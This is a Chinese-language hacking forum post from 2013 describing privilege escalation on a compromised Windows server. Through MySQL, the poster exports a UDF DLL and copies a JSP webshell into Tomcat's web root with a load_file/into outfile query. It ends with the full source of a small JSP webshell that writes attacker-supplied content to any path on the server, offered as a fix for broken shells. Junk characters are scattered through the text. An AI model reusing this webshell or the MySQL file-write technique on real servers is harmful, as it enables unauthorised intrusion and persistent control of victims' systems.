找回密码
 立即注册
查看: 3177|回复: 0
打印 上一主题 下一主题

解决Win下MySQL root导出Webshell换行符问题

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:52:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天碰到了这么个问题,简单记录一下我的解决方案。& \& n9 g) B$ W1 `: Q; h
! p) T. ^0 g1 t/ V* M; j# E
首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php6 _7 h, {5 V) h2 s- n
安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)( h. s4 o4 G" Y# L9 ?, h* O
提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了4 v; b* R+ ~4 H0 \4 S- _
1 show variables like '%plugin%';* }% D2 F& V2 D' T" V
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功
% ~: r6 C7 k5 R- R% N7 o7 t& h创建自定义函数似乎被拦截,一直失败。
& L# ^- }) p+ y9 D3 }( Y" f后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限
) H9 R, G$ ~; |: z测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp2 \- R% s, C2 Z0 q( g
用mysql执行语句:" @1 T- |& X5 B, D! N$ J3 m/ {- ~
1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'
$ R) b6 K8 g7 ~! s4 b2 复制代码
" M$ {1 m% K. |* b后成功。
$ L( G4 [9 U: _/ H/ B5 H5 z$ d6 N但是访问后得到如下提示:  v0 O! z5 X0 q+ B  c! p+ P
​500页面1 j: Y9 c4 g7 @

9 L, o; H9 H/ ]' e( I1 ?" ^8 v- p" j- K' `" _
明显是MySQL的Win下版本自动添加转义符\n\r了' u3 I3 Z) p7 f: ?. g
这样导致程序运行的悲剧。* k# p/ m" v% h7 A* l- G/ K/ X
从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。
( {6 ]* r0 Q5 Q$ R+ V6 a- a最后弄了这么个小脚本:
1 D. n& P9 ?+ E01 <%@ page language="java" pageEncoding="gbk"%>
. t3 e9 `4 o: y* ]4 E02 <jsp:directive.page import="java.io.File"/>
0 g7 K" R. k; E; i03 <jsp:directive.page import="java.io.OutputStream"/>8 r* L6 |, y# A3 {" i. c( T' O
04 <jsp:directive.page import="java.io.FileOutputStream"/>  [: D9 G1 v( ?3 f6 `
05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>3 X0 _' U* P) `) |, n0 D- U) _
06 error www.2cto.com$ q- v# l/ E  Q1 `8 ]# I% ^2 _% X
07 <%}}if(i==0){%>: f4 B8 z% F: O/ R0 M
08 ok9 t3 W2 b# _4 G/ a( m5 `: n
09 <%}%>
$ u2 ^3 }  l& ]4 n9 F10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart"># D+ X! d2 }5 `  ?7 L. Y, B
就可以避免转义符让JSP的马儿运行500错误了。' j/ q0 t/ Z' ^; D+ K4 X' t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表